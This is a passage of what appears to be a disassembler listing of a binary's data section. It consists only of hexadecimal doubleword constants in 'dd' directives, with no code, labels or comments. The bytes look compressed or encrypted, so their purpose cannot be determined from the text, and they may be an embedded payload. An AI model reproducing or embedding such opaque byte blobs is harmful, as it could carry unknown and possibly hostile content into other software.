		dd 4136020Eh, 0F61942A7h, 83E09F43h, 0E8B11D98h, 0F9B23F00h
		dd 742C20Dh, 84A690E6h,	4C107B4Eh, 0B0968321h, 4400FF4Ah
		dd 0F688B15Dh, 54E40F5Bh, 0CEEB0CD2h, 0D9BF3E81h, 22246D38h
		dd 5A764Eh, 19EC7E07h, 0A41ABEB5h, 6D067309h, 0F240008Eh
		dd 0B93B2901h, 5CC80DCh, 889AE1A8h, 6BD06C00h, 734232B6h
		dd 7B1F00A6h, 91B2FC82h, 384C5FBBh, 0A00CC0B0h,	0E379CFAAh
		dd 0E43070D9h, 974C400Fh, 0C9BA25Ch, 31C9C6A6h,	96F0BC1Ah
		dd 9701FBAAh, 0FD4E7732h, 2BC7D0h, 0C9842CACh, 0CDA7FF42h
		dd 8144B894h, 97E37F60h, 3F911091h, 0BBF0607h, 837BD318h
		dd 0CC90CEE2h, 60280C65h, 24444445h, 49120029h,	0D8447102h
		dd 0B027882Eh, 0BFE825A5h, 1C80E4E2h, 76DE7F59h, 25AB6F03h
		dd 8824E681h, 211FA5Ch,	0BB45380Fh, 0EC8597E0h,	47508C2Dh
		dd 2FBCE28Bh, 9418648Bh, 7200D0DEh, 8BDA152Ah, 7CBC0DFFh
		dd 0A80B4CB6h, 74CDA614h, 259CD416h, 11300088h,	0A4ED84A9h
		dd 1530B44Ch, 8098AF37h, 618C9EA5h, 833C2511h, 7F533C38h
		dd 74D1140Ah, 860E0C3Dh, 72AAE04Fh, 5860CD70h, 0FB8038C7h
		dd 8F589FD7h, 149409E4h, 3B56D300h, 1FFEA96h, 3F3D6DE5h
		dd 70E9D438h, 9EB00588h, 324A6C25h, 0E7409854h,	0B33F00EEh
		dd 663603C2h, 0C10F933Dh, 40693A6Bh, 0DCA0DD78h, 42489474h
		dd 772ECDEEh, 28404C94h, 70F08BD2h, 0B25F000Ah,	288DE959h
		dd 0BE011C97h, 0D5DD0B72h, 9601C4B4h, 0DBDEEC4Eh, 3A3BD883h
		dd 9CC94C04h, 0A82B5380h, 0E100A6F1h, 46478C8Bh, 5125B59h
		dd 333CB84Ah, 998B482h,	4072C426h, 4DE73880h, 4E71AC86h
		dd 0C9BC44BDh, 0AB3942A4h, 0E0076333h, 90757D9h, 0F6ADF19Dh
		dd 0A0CFA0A5h, 4484DD98h, 0CE3AAE55h, 3C0070F3h, 0D84DB79Bh
		dd 92FE5BABh, 0CBC92714h, 0E0B544B8h, 0EFE47D00h, 6AE325DFh
		dd 1D180076h, 0A5B1634Ah, 960C68C6h, 71E8C773h,	2FF128A6h
		dd 88608024h, 0DAEB0049h, 0C053FBDh, 0C901284Bh, 73A1344Eh
		dd 7EE42361h, 0A7BD1601h, 0C2A8D4F1h, 0A620CF98h, 17EE71EFh
		dd 390CD60h, 0B0300630h, 31247389h, 80C468DCh, 5FC8261Ah
		dd 355C019Fh, 2E41B52Fh, 7628E983h, 31953260h, 88A8D10Dh
		dd 611244E3h, 0D87CC8h,	133DE10Ch, 87B90F65h, 5647C61Dh
		dd 378C7E41h, 0E83CA1ABh, 20483388h, 4914FE01h,	0C8C8F31Dh
		dd 506802FCh, 7F6663D3h, 7C00B4D0h, 0A7DABB61h,	567BAEDh
		dd 7A83859h, 0CEFC81DBh, 807872D8h, 0E43B4953h,	0BF2C00A2h
		dd 9483638h, 9B38B28Ch,	61D8825Dh, 0D20F5242h, 0A90E2E78h
		dd 0C7263A68h, 98262DAAh, 7642286Fh, 23410D3Ah,	9F270378h
		dd 0DB7E7884h, 0F279E8C8h, 0BD402499h, 2A410269h, 64564627h
		dd 0B94A1C44h, 8C1E94B8h, 0A013C22h, 0F49D3BDCh, 843CE0DAh
		dd 415DB018h, 0E900B426h, 97BF8409h, 5F7ED5h, 0E3709469h
		dd 8C385B61h, 0E03B2A26h, 3DAA7B60h, 0C0910027h, 0DDBDEC65h
		dd 40914CD8h, 1D174A81h, 0ADCC27BAh, 0C5AE0074h, 2DE02E20h
		dd 0A404D7CEh, 0A837ED6Ch, 2FA658C8h, 101144F3h, 7827F253h
		dd 18CD3C85h, 767F3463h, 519B0096h, 1499710Eh, 0DF006AD3h
		dd 58C3045Eh, 5C403080h, 19A05048h, 90001D0Bh, 0C0A72817h
		dd 595C12h, 0DCCD0F6Ch,	8A48A5F7h, 2AA3D200h, 0F2377F3Eh
		dd 350C908Eh, 0F28895AAh, 0F55E00E4h, 59912FABh, 512A29A2h
		dd 81BB90CCh, 88852B0h,	44C1B838h, 609BB87Dh, 80842660h
		dd 1D48F2Ch, 9B6A4493h,	0FC5221F4h, 881EA69Eh, 3426F5ECh
		dd 0EE7BB760h, 508100D6h, 1677546Bh, 0EC0283EDh, 0F0A621F3h
		dd 0A72C7B30h, 3608D400h, 0E300EBE8h, 595FBE54h, 9DE525E6h
		dd 0F8842011h, 5B046706h, 9681F9E7h, 0DF9E00EEh, 0A93A2B41h
		dd 0A2705805h, 6C03B3B4h, 0B8CBC583h, 4C272C33h, 9C01480h
		dd 71FEACEDh, 40B9E00h,	0F4EFF840h, 448CB87Bh, 0AE0E1A5Ah
		dd 0B8C9FE0Ch, 2CE2EEh
		dd 9E33D57Fh, 0F66C01B0h, 0F522A80Bh, 35502487h, 68E0124Eh
		dd 7FA63CF9h, 1775E748h, 0D10374BEh, 0F28B7DA2h, 4C38442Ch
		dd 0D2B09CC9h, 0FE037EA1h, 3740CA25h, 9C038FB1h, 31F9B087h
		dd 74F80967h, 0C4682055h, 25095A9Ah, 7B0F64h, 0F4EDD3E8h
		dd 7580047h, 23E28CB7h,	25055685h, 9876A58Bh, 7B7F8830h
		dd 2C960EC6h, 6D20A79Bh, 0FFF8C358h, 0A0B1C53Ah, 43780744h
		dd 0B7EDCFE6h, 9E7281C7h, 42F02070h, 166EBB88h,	885A238h
		dd 0ED8009B4h, 0BD49FF9Eh, 0DA3C090Dh, 80234B2h, 0D42043C6h
		dd 5BED69FAh, 19F0401Dh, 50041F0Eh, 56BE7F00h, 0EDF61498h
		dd 37D50013h, 0EC386ABBh, 0A6735CCBh, 202EE045h, 48C6A214h
		dd 0B089E30Ch, 607489A6h, 0D2E72934h, 0CC1D1418h, 3A80580Ch
		dd 39885B96h, 0CBE509BBh, 0BCA9AF1Dh, 9D624498h, 3E8F5000h
		dd 15C761F6h, 1018994Ch, 4925C838h, 98F5E880h, 0BCB0B9ECh
		dd 272DA002h, 74737E83h, 76C41D0h, 865A7055h, 0C5ADFB00h
		dd 0FEE1666h, 3330132Fh, 78B2CDh, 545EC3Ch, 15D6291h, 8F07AFDFh
		dd 8B771DF0h, 44242AF9h, 5EC50EB8h, 0EE0CF3Eh, 0E0AAF038h
		dd 51A71B3Dh, 432D44C0h, 0AEFF9FC0h, 0F0CC8CECh, 0C2515F00h
		dd 2C465505h, 15240E99h, 0ECC017A9h, 827C8E07h,	0AE07B4B0h
		dd 74FBB7F3h, 0FEA63AA0h, 0E2BF44Eh, 0C42E7858h, 0E36EEC00h
		dd 0B73FC9D5h, 92C8032Ch, 0E7BD1B48h, 6BE7C36Fh, 48BED3h
		dd 0B8A62D2Ch, 0EB13A247h, 153F5Ch, 35A3BC6h, 18360A3Dh
		dd 79389F97h, 0EB019CC7h, 3462F424h, 5BC8D0F1h,	0ADD330D5h
		dd 0A04D1051h, 2B81B107h, 0CFE6C3BCh, 39E30389h, 0D695D7F4h
		dd 9F1365E8h, 5595D60h,	208A73Dh, 4652B666h, 406040B9h
		dd 6B0F2D38h, 0EF154465h, 7C554043h, 3C4E32AEh,	3B037002h
		dd 4D5CAD91h, 0F0347BB9h, 326038CCh, 0BB7DAB59h, 36F07A5h
		dd 0C06B964Dh, 354B71E6h, 0B590C401h, 3917F6F8h, 343F833Eh
		dd 0B6813900h, 0BB1EC2DFh, 304B61F1h, 0C539BA04h, 0FAD18CF7h
		dd 0E8F308BDh, 59F00676h, 8883F9D3h, 30C35C3Dh,	0B04621C2h
		dd 0E190ABBBh, 1982B64Dh, 0CCC2F140h, 7903AA63h, 0AA0E36C8h
		dd 0A67000DFh, 0D8A0544Ch, 19032691h, 12E5A803h, 9A4DE017h
		dd 2D520016h, 30FBBF98h, 0B2065736h, 5BF812B9h,	52A944A0h
		dd 18B86D00h, 0F2D3BF82h, 0EF06005Fh, 3DD044B3h, 0F100ACECh
		dd 718B1383h, 0AABB239h, 1604B43Eh, 17CA008Ch, 0AD78D054h
		dd 0FC651400h, 0D99D2ACBh, 0F288A1BDh, 0CF43E710h, 0AB3049E6h
		dd 0D2E62832h, 90F9C0BEh, 633BF707h, 2E37B500h,	855EEB46h
		dd 265F0149h, 96452089h, 0B29042FEh, 0BFD41721h, 76634180h
		dd 62435053h, 0E294D800h, 12D4281Dh, 77C60564h,	1E7011B7h
		dd 0B643428Ch, 14487384h, 9B00CECCh, 4AF8BCC3h,	7EC512FDh
		dd 7CC8A4B9h, 2D5116B4h, 0BDA1B1E2h, 0CF1086B8h, 3829313Bh
		dd 360CFF4Ch, 0CE60C89Ch, 0D241738Ch, 85BA0B29h, 0C3AF102h
		dd 0C2332C48h, 0A664D350h, 801E773Ch, 0AB16EACFh, 0E5E319h
		dd 0C61F0FBDh, 412C6558h, 0DDD56415h, 19010FACh, 6943811Ah
		dd 56D4C366h, 4BDE490h,	4DB3CFEFh, 72148068h, 0AC0637ECh
		dd 3641D065h, 0A03B62E8h, 39233240h, 17897842h,	0C764165h
		dd 0F2188EA7h, 9B9CA88h, 0BE73C36Dh, 0AFB36010h, 2124E88h
		dd 0DFA4CE3Fh, 744232A9h, 60AB1424h, 0C0C0D317h, 98FE4011h
		dd 781C2DDAh, 5E016A4Ch, 88D1A6B5h, 75126C33h, 980D002Dh
		dd 0C07D78B3h, 7F353600h, 6EDAC80Ch, 48610094h,	5E680D4Dh
		dd 60006306h, 0DB384334h, 51A235DEh, 0C1D195D6h, 0DFB81EE0h
		dd 62790008h, 99CD6C1Dh, 598B103h, 34D673h, 0EA25EF29h
		dd 0C7AD82C0h, 3B43CA1Ch, 0A66151F0h, 0F69E0076h, 0E1E8B5F0h
		dd 5103E640h, 0AECD644Ah, 0BC1ED1DBh, 0E5396980h, 0FD7940ABh
		dd 74A1A701h, 0B91D1F87h, 7F219Ch, 0AA9B2C7h, 0A600F4A5h
		dd 4E58DD26h, 2843BF7Eh, 503CCD25h, 63EC92Eh, 0E86895AEh
		dd 0C11D18E9h, 0A8C7B1C2h, 0B873D5FBh, 0D6C80C0Eh, 95D13E69h
		dd 4954B737h, 0C5007E8Fh, 4713D22Ch, 26D83705h,	63FFF029h
		dd 0A400F412h, 8AD9466Eh, 70F7BBFEh, 22F60627h,	49F8E804h
		dd 0A84FCF03h, 0E03105C7h, 0BEF96Ch, 27F2B740h,	3B61D6BCh
		dd 39C459C3h, 85812CBFh, 0E86D060Ah, 0E40149EFh, 0DACCCAB0h
		dd 0F8CC942Ah, 0AD8900B9h, 9BC62C07h, 951410A5h, 68D761h
		dd 0A0E8D655h, 7BF926CFh, 0E79F180Fh, 504851F7h, 0FEE37D01h
		dd 3F86A4FBh, 5E61D040h, 5F91296Bh, 83B442F4h, 2343E600h
		dd 0F6E888D0h, 267A51C0h, 1330777h, 0E62AAFE4h,	0DFE80199h
		dd 2D0B2100h, 0BF93E5CCh, 0D67800FAh, 0D1854745h, 0F4A8BD1Dh
		dd 0F20E9B11h, 208FDC2Ah, 0B4B26548h, 704E0E09h, 7901BFE7h
		dd 80AE1D2Ch, 24086D31h, 3C165Fh, 0E0031FDBh, 76DFCF85h
		dd 5DC0A90Eh, 6C5A61F0h, 0E0485FD6h, 2C911Eh, 0A7B61921h
		dd 3600807Eh, 0AC29D89Dh, 60E8CFE3h, 1F19B9F0h,	0A700ECE4h
		dd 3FB9314Ah, 49790Ch, 0D4BFB78Bh, 41B67792h, 0D731F264h
		dd 9B60A489h, 0BD37007Ch, 0EDB7DBF4h, 4778D6F3h, 0E1C88406h
		dd 289A5C1h, 439E4A4Dh,	6444D73Dh, 0FE12488h, 30F15A00h
		dd 0CE595775h, 5F913EDh, 0C0C31F23h, 5D604C54h,	0E930C574h
		dd 0C1889DDh, 0D87CFAh,	0FDA5D0EAh, 4760C229h, 72259A00h
		dd 61C46AE8h, 6073725Dh, 7D0F79D1h, 5F3E8C43h, 575980FBh
		dd 9B9D042Fh, 837A00DAh, 4D0D9FBDh, 0C100401Ah,	2C787241h
		dd 88F3E8BCh, 86003388h, 0DD54DE71h, 0F9455932h, 8244E8h
		dd 3EFA0F50h, 64CAEAE0h, 5D674C00h, 0E211C575h,	26E53A54h
		dd 8CC0B515h, 20347028h, 8500A03Eh, 0DC4DB977h,	0FEC23BF4h
		dd 9D2D07B6h, 9993FB66h, 0F8BF1B00h, 43723F60h,	5B80A891h
		dd 69598B9h, 0F8C2673Ah, 40DC2407h, 16463CFAh, 4CC1025Bh
		dd 0C678FB65h, 0CCACB361h, 0D60426ABh, 40195C49h, 24D574C2h
		dd 3F488E9h, 0B928F000h, 5C55191h, 9F3742Dh, 1C196348h
		dd 41B478A4h, 61EB5732h, 0A3C81E21h, 9B89009h, 0A683498Fh
		dd 0BF1EBC10h, 7F3D31C0h, 10E2DADh, 0E23FC498h,	24B162D6h
		dd 0C2480D20h, 2655C058h, 0D3FC86h, 0C9492AE0h,	0C4258860h
		dd 905EA326h, 3441C14h,	3AD087BAh, 901898F4h, 0D9DF0112h
		dd 0D6B59237h, 9E3B103Dh, 961F01AFh, 916722B3h,	7ACC436Bh
		dd 30F37F91h, 0CB141764h, 0C0B83643h, 8CB57356h, 46090097h
		dd 0B0C6DF3Bh, 0BB32E1C7h, 66C281B1h, 0F0A80020h, 0BC402AB9h
		dd 5F1DE705h, 0B4C539CFh, 2186C5C3h, 1427D29h, 310FA859h
		dd 80911DCEh, 2A5E171Ah, 94C4B39h, 0D7C7B1B6h, 1949F810h
		dd 0A9C58800h, 6A477256h, 485C760Eh, 751E5E9Dh,	544E6F1h
		dd 94AB664h, 95003E48h,	3A3F906Eh, 432E5F1Eh, 7C4870A8h
		dd 28090515h, 75C33BF5h, 84394CDFh, 41DB3411h, 0C0AC32D4h
		dd 7A2A2DA0h, 0BE2600E2h, 2FC7CAFAh, 60075194h,	17C2383Ch
		dd 0B39C1E6h, 87306835h, 7485005h, 449CE634h, 105D09D1h
		dd 0B34F48h, 98550426h,	0A542ADE4h, 23173E04h, 9880FED3h
		dd 62549D7h, 5DE5EC09h,	0F1EE39CFh, 2AE20700h, 0D2D3F262h
		dd 0B55A0058h, 0B6B1A0A3h, 95724754h, 0D83F3B14h, 1DE61DE4h
		dd 60410122h, 7768D592h, 0B5F9C8BBh, 4E027F7Ah,	1AB8EE90h
		dd 60B08EC5h, 3B95D953h, 0E124A043h, 0C2BD44B9h, 4EAF4A1Eh
		dd 0EF7155C3h
		dd 0D051C8C5h, 0A940164Dh, 0DB94320Ch, 0B56C002Bh, 308C75F4h
		dd 2449BA1Ch, 4500C43Eh, 0C3AFA425h, 14A96064h,	0A0211EFBh
		dd 0CA000048h, 37633995h, 1893B03Ch, 0F2AC3800h, 1C4BC0DAh
		dd 0FAC42Ch, 0E3D39134h, 48056A67h, 1EE54938h, 19805C1Eh
		dd 82133C5Bh, 4F7313ACh, 3EE804CAh, 5D7C42BDh, 0B46634h
		dd 180E86DCh, 1C393D2Dh, 7F499E00h, 0CB948B08h,	2B911F15h
		dd 0E30185CAh, 5A78881Eh, 0BA0CC200h, 6A1A3EF2h, 12E0FA79h
		dd 344C2Fh, 5A194DD7h, 7E138C50h, 5008D71Ah, 62280EEh
		dd 0AEB38E24h, 2CA1E800h, 6C0F6A63h, 836704C0h,	8CB77C69h
		dd 0B80068C8h, 7797F99h, 72CB7738h, 49230097h, 5FB3614Dh
		dd 0EF658776h, 8C9298h,	0F8A40007h, 2310F68Dh, 0CF0AB6EBh
		dd 0C57DB014h, 0C18FB800h, 152DC2E7h, 0FCE5624Ch, 93F63A02h
		dd 0E0E0FB96h, 140A86C5h, 98CC3943h, 0F7A76780h, 58E21FACh
		dd 25809C44h, 0B6B0D37Eh, 3FCC64Ch, 80AE11F7h, 18389058h
		dd 0E4921FCEh, 3B53C031h, 0FCA170AFh, 1DD885Ch,	0D91873BAh
		dd 80EB74DFh, 530544h, 43EB456Bh, 8623724Fh, 0A797B500h
		dd 0E7E2CB09h, 980F77D5h, 82494C02h, 6338DC03h,	69D89808h
		dd 56006452h, 19B105D7h, 0E7DFCF8h, 0BE837BA0h,	8A09F243h
		dd 771342E0h, 8B0F01F8h, 80F3BDD6h, 694A298Ch, 0F84FF876h
		dd 309D609Eh, 6083B4Dh,	0B3AFEF1Ch, 1030049Dh, 143F5A5h
		dd 24F48D7Dh, 8CEC820Ah, 20AE7A08h, 43FD0044h, 1B053550h
		dd 0C20E2557h, 38A25689h, 83AE7260h, 0EB1451FEh, 0DA3F26h
		dd 0BB5F011h, 1C79A4Ah,	2C0FBD0Dh, 0CF60FD05h, 0BE668100h
		dd 0B930AB6Dh, 6687F482h, 51BD0849h, 6DB7C400h,	66B20736h
		dd 10CD0021h, 0D457BB6h, 6F606E14h, 823B57E8h, 23AC808Fh
		dd 8C17CE28h, 0C007DA06h, 3A293931h, 53BB467Bh,	0BE2E6C81h
		dd 0DA028ABDh, 1CCA9340h, 0DF6D9807h, 7F004379h, 60A03h
		dd 25103CC5h, 0F724CEE6h, 0D440D51Fh, 0F8A0AD47h, 23BA3D40h
		dd 12FF0161h, 46C1C57Fh, 21098C87h, 24C32009h, 0ACFF7Ah
		dd 1316E791h, 1A18B33Ah, 3200F5Fh, 0F70C0406h, 807A128Ah
		dd 19DBE557h, 0DC07CDF4h, 74094020h, 0E333D880h, 4C6A3CCFh
		dd 0D4F84B87h, 895AE63Dh, 17690300h, 1931E084h,	89FE0E65h
		dd 0B88C6461h, 0AC00CA21h, 1E3ACFFBh, 823CF8h, 84352A7Dh
		dd 70C77F6h, 2126D00h, 0B0B84709h, 383F6F52h, 391FDD00h
		dd 0D06E560h, 4BD051Eh,	0B9113308h, 39907A20h, 691F7585h
		dd 0A030789Bh, 1949A147h, 4923BB02h, 0F002F3Dh,	1092F33Bh
		dd 1871EC6Fh, 80597A9Ch, 861FD338h, 5F046E66h, 52003C06h
		dd 4C7ED6B7h, 5EF9FC1Eh, 19E3D1B0h, 0AE2D00FAh,	22A7C7B3h
		dd 0C1006295h, 0DCC99135h, 3298A394h, 36580ADFh, 0C7493880h
		dd 5E1E9CB6h, 4D0EEB02h, 0F5AF4Ah, 0AA85FFADh, 749D001Dh
		dd 8B53E1F9h, 6A12A0BBh, 720178ECh, 15692225h, 300F3FE8h
		dd 0A5E88360h, 7D00F1EEh, 8E92FD8Fh, 0CE897Ch, 0EBF25C54h
		dd 3F9CA80Dh, 0A09AA200h, 1E3365E7h, 41A358F9h,	32D4301h
		dd 70FC4094h, 56006C7Fh, 0E489B264h, 2EA3FE79h,	3B3ACEh
		dd 0B5275ECCh, 0C501E22Fh, 0B0C3EFB3h, 10A12E02h, 0F9185C04h
		dd 7610E418h, 690D00DAh, 71220794h, 0A2001528h,	0BBEA84B0h
		dd 6928DF9h, 7B764617h,	0F622290Ch, 8B102272h, 22905922h
		dd 0A5023E7h, 8D445E28h, 5C9144E5h, 0FFF2A45h, 133EEF29h
		dd 13AD72E7h, 0A3B83FC8h, 0D80F1D86h, 43C54BF6h, 0CD6836F1h
		dd 0EC280780h, 0B1861EFAh, 7A48C058h, 3A0F331Bh, 6D9EDB00h
		dd 0AB33181h, 0F40C0EEFh, 0BAE0B77Bh, 0B27F92A9h, 287E18C0h
		dd 36C6D6Ah, 2153A145h,	6C82EF1h, 0DB009EBEh, 55D1C2E4h
		dd 4E9529h, 91D76148h, 8B281A74h, 0CFA01F1Fh, 0A692AA00h
		dd 3D2E23E6h, 458059F8h, 6D941C86h, 0E300F799h,	8C3E887Fh
		dd 0FE504Ch, 309DCC06h,	0CE41EDFDh, 22366702h, 0A0085DB4h
		dd 0E448F7FCh, 60823F21h, 1C19A6h, 2B0E0FB8h, 3303FD02h
		dd 97F11DD4h, 88B694h, 40828156h, 17649EABh, 0C7038D74h
		dd 8827203Ah, 0C7001E6h, 8C3372D9h, 3BD001D4h, 2080EC11h
		dd 4F0E376Dh, 0A10F06F7h, 0B6887E44h, 9DF8FCh, 0E2D048ACh
		dd 64491732h, 31F12700h, 0C044410Dh, 693D0E9Ah,	0E480EEABh
		dd 32353933h, 0F239300h, 59A8B32Eh, 46B70080h, 44A92BBBh
		dd 81006FB9h, 0DE97D84h, 0F514006h, 0C6A1DCF9h,	6BE09F0Fh
		dd 0FA7587B7h, 0E0303F00h, 0AC6ABADAh, 5C90D9h,	0FEFC6099h
		dd 67A64B6Dh, 4C0B08E4h, 84C7BD2Dh, 0C90F810h, 59F31Eh
		dd 276740BAh, 0E41A9C7Fh, 0E2D52200h, 0DCA9A577h, 3B7100C2h
		dd 0CF493C48h, 2400F0CEh, 698E7E80h, 2829C04Ah,	0BC206Eh
		dd 8B957753h, 91CD8FB3h, 62B71B00h, 0E97272Eh, 0CEC500C8h
		dd 65250872h, 0E85C44F5h, 2C370728h, 0BEB0D31Dh, 4A0CDBh
		dd 47439AEBh, 33463CB9h, 4FAED03h, 0D8E2F8E4h, 56739D3h
		dd 9798FF3Eh, 0F6F000D0h, 6DAAD885h, 0A373B090h, 5FDFBF03h
		dd 0B77C7222h, 1898D550h, 88532468h, 9A00000h, 1331DD4Ah
		dd 40084E09h, 0AB00A0FFh, 0ED456Dh, 0A488B63Ah,	0A2308A89h
		dd 0A5A83Fh, 118DCD79h,	0C10F1C3Fh, 0A45173E8h,	1B17E8D0h
		dd 5464D301h, 0B8451579h, 3F36F0C8h, 7B007F75h,	9B5DFDC7h
		dd 2D0028C0h, 0CB8D1499h, 2CC08h, 97D596B3h, 866829EDh
		dd 8750FE28h, 1ECD3900h, 20A4D375h, 2A830058h, 82AF52D1h
		dd 0A1000766h, 0EC14E629h, 2CD6B1D0h, 307F81h, 7AE2B48Ch
		dd 12EA3F76h, 5000CE7Bh, 7368179Eh, 456342h, 0A71065Eh
		dd 5183933Fh, 0EE89A501h, 880FC5D5h, 8D27D4h, 0EA776602h
		dd 0E4B63B11h, 200079E6h, 5DA17FA2h, 0E8C863h, 0D3B01CA4h
		dd 76912A43h, 0BAF52900h, 5AE699Dh, 6AAD00E3h, 62F62347h
		dd 0E20E8C9Ah, 0C0109BCEh, 0E5EF7092h, 27ED0019h, 5034D74Bh
		dd 7A00916Dh, 0BE634312h, 0AAB453h, 0DF6F1F51h,	0DC3FAEE8h
		dd 24210B00h, 488C1D70h, 30DE3CA0h, 0CA32E40Bh,	3882DE80h
		dd 8F1D3141h, 609E4227h, 0DE2A5B00h, 77DB2Bh, 0B3CF7C36h
		dd 66F176ABh, 0FDE30601h, 0CB71E90Fh, 11C45C4h,	0DF0AC99Ah
		dd 0C4933E41h, 3CC07CBDh, 0F0D7A311h, 0E08B7058h, 7C5F7C97h
		dd 65A6009Ah, 0CD6D3B2Bh, 1F007CE4h, 136AF126h,	0FF56CBE1h
		dd 701806F4h, 20B800BDh, 62CCE839h, 8C00BC3Ch, 110C0AC4h
		dd 714F4D1Fh, 207200A5h, 3BB0407Ch, 0F53B515Dh,	0BFA200B2h
		dd 489887A7h, 39700E59h, 95206079h, 0B96E2075h,	53C53601h
		dd 0C25B4DE3h, 3CC183FCh, 0A88076A6h, 0F9235A8Eh, 56031B01h
		dd 0DA259E0Ah, 0A153A8DDh, 87FD00A0h, 214CE3AFh, 64003ECFh
		dd 0C93A5DC2h, 0F5DAF9h, 5F72521Eh, 92669661h, 0AF7C5E61h
		dd 8CD01DFh, 0C8355081h, 0CD61DA84h, 2256E067h,	172B2803h
		dd 8079D918h, 0F8264Ch,	0C9B1EC50h, 877298BEh, 0FBE61200h
		dd 81CD9DB8h, 6CFD0039h, 253F2732h, 5C00AC09h, 8FB8CB58h
		dd 0F0171024h, 0FB660306h, 2B3C5DEEh, 0C0C5C191h, 7D05B676h
		dd 4D89ECDEh, 798BC0EBh, 6103646Dh, 39AFC153h, 0D8E2D02Dh
		dd 0D6060055h, 453ECE07h, 0AA00954Dh, 0A74C270Fh, 0B4DDCCh
		dd 0A909B1E8h, 4574938Fh, 0B6E4E04h, 0BEC0E0C2h, 320BF41h
		dd 0C5812773h, 0F0C0BC0Eh, 7F00B2E8h, 0CDBAF758h, 2EEF55DCh
		dd 0E91DF2h, 0C23B155Ch
		dd 371DD5B8h, 1A048E97h, 80FF34D1h, 0DC45FBD1h,	4853D000h
		dd 2960B4Dh, 8473008Ah,	0C2B8BFF8h, 0FA00FCB7h,	1B777205h
		dd 0B651CEh, 0DFC812DAh, 28843C04h, 40444D00h, 17E0C789h
		dd 72F9173Fh, 2E3AF83Dh, 2918D186h, 7CE3A618h, 636B0377h
		dd 0C2EB2748h, 0C0F8A7E9h, 7798C9AEh, 64DE0E00h, 0D346E79Ch
		dd 0FCC20059h, 4DA2D5E4h, 101D3865h, 0BA808C5Bh, 5A242E53h
		dd 0E0403BEh, 73ABCBA3h, 1133EC90h, 7BC34539h, 52498700h
		dd 0D34CF51h, 0B07910h,	0A748DC0Bh, 0D36179E8h,	80095A3Bh
		dd 0FE83C790h, 0B408D4h, 6962359Ch, 0E7140EBDh,	0BEEB1507h
		dd 4300F6A5h, 5B03FAh, 695C755Ah, 7047A6A9h, 40846730h
		dd 1D8B53E8h, 5DCF4E8Eh, 5477006Eh, 0AE78512Dh,	158C54Ch
		dd 9BF7A426h, 14CC8142h, 0FF500024h, 380245FCh,	0A00DC40h
		dd 0B158B7D4h, 2B5F6Fh,	80B5F804h, 0E6BDEA76h, 5A01000h
		dd 0ED321A7Eh, 0ADC801ABh, 26E964C2h, 5D9FE444h, 0F8F7A103h
		dd 0E5A79D7h, 0A0398F48h, 3DF4403Eh, 0DE12717Fh, 0C350D300h
		dd 3A9A0E10h, 0EE94902Fh, 0B0A29047h, 606E79FCh, 696851E8h
		dd 6F000A83h, 1BFF6F9h,	4C47B9EAh, 173EE048h, 561AF280h
		dd 40591C84h, 815F4200h, 0C8A7037Dh, 0FBC00C4h,	718A6435h
		dd 153FC956h, 0CE09839Bh, 0E14DC2E5h, 44200327h, 26E973F9h
		dd 0E09EAEh, 5DCFD032h,	8700AD91h, 64484EE8h, 1BB2CCh
		dd 0E5A51AEEh, 82ABC28Bh, 34BD6202h, 60B80861h,	1E72116Ah
		dd 0CFB1F0h, 373DA0E6h,	3E005CFFh, 712004A7h, 0A035FA3Ah
		dd 0E6B29B80h, 61E019Eh, 0C43149D3h, 7EE6F055h,	2F750907h
		dd 0A191BA5Ah, 2170B372h, 0D01000C4h, 311246E6h, 5C037C8Dh
		dd 0DAFE0E62h, 0D2DF98E2h, 42900EFh, 0ACEBA15Fh, 52306730h
		dd 0E20E1001h, 87360326h, 50693357h, 0C4091900h, 0C18DA48Fh
		dd 0CC700B3h, 8EF7D0FCh, 1FF4237Dh, 0A88FBF00h,	961C5A66h
		dd 0C6070BECh, 0A42044D8h, 0B706E4EDh, 0ACD08A01h, 5EE66EC2h
		dd 0A88BB68Eh, 8793F921h, 0C8968068h, 0AC2F899Ch, 8B9E001Eh
		dd 56F1FE41h, 0A52C715Bh, 0A7005013h, 0F342192Ah, 0A16F02A3h
		dd 7C4DA90Fh, 25D9E0DFh, 65F626A6h, 8D2428h, 0BA937B0Eh
		dd 0B41F96D2h, 839D954Bh, 371A907h, 0CFE5AD00h,	240EE4B9h
		dd 9E01A29h, 148E7084h,	1FC34120h, 6F009C58h, 195206DCh
		dd 1380BC69h, 10747F9h,	402FEDC4h, 1A49C0FDh, 0F5800B50h
		dd 0DB80E300h, 0EDCB14F7h, 2A5A00D4h, 5636D73h,	0E071FC9Fh
		dd 1CD64300h, 9CCAC469h, 0D51B30A3h, 2C637E28h,	38406539h
		dd 80BB3B60h, 81C66D01h, 0DE3648h, 7970A785h, 0FD1DD997h
		dd 6B80500h, 2A92074Eh,	13A9006Fh, 1A8CC2AFh, 0C1003E0Dh
		dd 6246729h, 0EEADB8h, 68EAD319h, 51434152h, 0A4E5B43Ch
		dd 910E547Fh, 4BC6064h,	0E81FF7A8h, 1B0EE19h, 0FCFA51B7h
		dd 0F0148B28h, 7A0E860Ah, 0C2055616h, 0E057B345h, 1EA64F8h
		dd 4CE5A6BBh, 708ECCEFh, 0A4B071D3h, 0C7197500h, 0E4D6498Ch
		dd 0EA7C40h, 0F2A45D77h, 13DECD69h, 3E00A34Fh, 0F70F3DD4h
		dd 63F13A17h, 0E7D8A607h, 154A7031h, 0E900145Ch, 0AFC613A1h
		dd 2893C46Ah, 3DFC632Fh, 6C00E508h, 66F22741h, 383C6133h
		dd 9EAC8024h, 0E195B0DBh, 6FE6D6h, 0F6CA352Ah, 3113EC6Eh
		dd 0F8E8B82Eh, 0AB85A480h, 2CEAC314h, 246EC4h, 15B25B5Ch
		dd 3B39FEF2h, 33470452h, 609C891Bh, 6996A086h, 3AD748C0h
		dd 0F6B70201h, 307AEFE1h, 57077244h, 0FAEC6277h, 30AB9570h
		dd 0D02C00A1h, 4BB2DDEAh, 0B6000D6Dh, 0FEED3EE3h, 9F8FFh
		dd 33678924h, 6832EFFCh, 198FBD00h, 0A34A4B8Ah,	975F00A8h
		dd 31EE6260h, 2600771Fh, 0EB3A9506h, 0F98E32h, 0B339EF15h
		dd 310E4660h, 5C3E5204h, 0C800795h, 57F329Fh, 9C2BCAC0h
		dd 153CC042h, 0FC3820A9h, 0C2478038h, 551322CCh, 519A011Bh
		dd 995BB5A4h, 79C420DAh, 71C12404h, 0B100CCF0h,	0B6C2513Bh
		dd 0BD3D093Bh, 0FAAD16D1h, 5E3A2C00h, 0E86B2C91h, 0ACE5004Eh
